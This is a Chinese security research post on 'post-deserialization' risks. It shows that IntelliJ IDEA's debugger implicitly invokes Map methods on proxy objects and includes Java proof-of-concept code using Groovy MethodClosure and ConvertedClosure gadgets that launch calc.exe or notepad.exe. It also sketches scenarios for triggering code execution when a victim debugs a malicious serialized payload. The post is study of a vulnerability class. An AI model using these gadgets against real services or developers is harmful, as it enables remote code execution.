后反序列化攻击调试中的IDE

IDEA 在调试 goovy gadget 代码时会在调试的过程中触发很多次代码执行,给调试工作造成了一些困惑,但是同时也让笔者想起了《后反序列化漏洞》文章中的思路,IDEA 在调试状态下可能会隐式的触发很多函数。

1
2
3
4
5
6
7
8
9
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:\\tmp\\commonbean.payload")));
ois.readObject();
MethodClosure methodClosure = new MethodClosure("calc.exe","execute");
final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");
Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allInterfaces[0] = Map.class;
Object o = Proxy.newProxyInstance(this.getClass().getClassLoader(), allInterfaces, closure);
final Map map = Map.class.cast(o);
map.entrySet().iterator();

现象分析

编写如下测试代码, IVehical 是一个空的接口,VehicalInvacationHandler 是一个 handler,其 invoke 函数记录调用栈到本地文件中,main 函数通过 newProxyInstance 创建一个 Proxy 对象

1
2
3
4
5
6
7
public static void main(String[] args) {
System.out.println("Let's inspect the beans provided by Spring Boot:");
Object f = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[] { IVehical.class }, new VehicalInvacationHandler());

Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allInterfaces[0] = Map.class;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class VehicalInvacationHandler implements InvocationHandler {
public VehicalInvacationHandler(){
}
static int count=0;
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
StackTraceElement[] arr = Thread.currentThread().getStackTrace();
String call_stack="";
for(int i=0;i<=arr.length-1;i++){
call_stack+=(arr[i].getClassName()+";"+arr[i].getMethodName()+";"+arr[i].getFileName()+"\r\n");
}
OutputStream f = new FileOutputStream("D://tmp/call_stack"+method.getName()+count++);
f.write(call_stack.getBytes());
f.close();
Runtime.getRuntime().exec("notepad.exe");
return 10;
}
}

public interface IVehical {
}

单步调试,并没有任何现象发生。与原始样本比较修改接口继承自 Map

1
2
public interface IVehical extends Map {
}

再次调试,可以发现当执行完 newProxyInstance 方法,调试窗口中出现 f 对象时,在目标文件夹下出现了文件 call_stackisEmpty0,call_stackentrySet1,call_stacksize2,并且弹出了三次记事本。当鼠标移动到 f 对象上查看时也会弹出记事本,并且生成文件 call_stackentrySetx

由此可以推知,IDEA 的调试窗口在遇到实现了 Map 接口的对象时会隐式的调用其中的 isEmpty,entrySetsize方法,用户主动查看对象内容时会隐式的调用 entrySet 方法。其中当 isEmpty 返回空时才会调用 entrySet

  • isEmpty 返回 true 时对象不会出现下拉选项,鼠标查看对象时也不会触发 entrySet 方法。
  • isEmpty 返回 false 时对象会出现下拉选项,点击下拉选项或者鼠标查看对象时会触发 entrySet 方法。
  • isEmpty 返回 null 时,会调用 entrySet 方法
  • 图中红色的错误是由于调用 size 返回 null 导致的
  • 图中白色的错误是由于调用 entrySet 方法返回 null 导致的

场景类比

结合后反序列化一文中给出的思路,Map 对象的这一类隐式调用问题也存在类似的攻击场景

  • 当攻击者向支持反序列化的服务发送恶意数据后,虽然当时不会直接触发。不过假如出现特殊情况工程师需要复现这条序列化数据进行调试查看应用哪里出了问题时,恶意对象即可在其Debugger中显示出来,由此触发了RCE。
  • 攻击者给受害者发送了需要反序列化的文件,受害者如果要通过使用IDEA将其反序列化出来同时还处于debug模式时,就会触发RCE。

Gadgets 可以使用 CommonCollection1 或者文章开始贴出的 goovy ,这里不再赘述。

虽然理论上存在这样的攻击场景,但是笔者认为在实际应用中这种攻击发生的概率还是很低的。

后反序列化攻击Java应用

如果纯粹从理论角度分析,Map 接口对象也是可以攻击 Java 应用的。 在 Map 对象被反序列化构造出来之后,大概率会调用其中的某些方法,常用的比如说 isEmpty,entrySet 等,那么这个恶意的对象一旦被当成一个正常的 Map 实例去使用的话,则大概率会出现问题。

1
2
3
4
5
6
7
8
MethodClosure methodClosure = new MethodClosure("calc.exe","execute");
final ConvertedClosure closure = new ConvertedClosure(methodClosure,"isEmpty");
Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allInterfaces[0] = Map.class;
Object o = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), allInterfaces, closure);
final Map map = Map.class.cast(o);

map.isEmpty();

但是一切的一切都需要反序列化执行的上下文中存在对应的 gadget 才行,任重而道远。

总结

此类所谓“后反序列化”问题虽然难以产生什么直接的影响,但是却为我们寻找 gadget 提供了新的思路。研究者可以以反序列化对象的整个生命周期为起点构造调用链,同时这种方法还有可能绕过某些检测手段的限制。

其实后反序列化本质上就是将 gadget 中第一层或者前几层 readObject 函数中的操作扩展到了函数上下文中,从而缩短了 gadget 的构造路径。

以上是笔者作为一个初学者对后反序列化的浅薄看法,如有不当还请各位读者指正。

Reference

[1] https://paper.seebug.org/1133/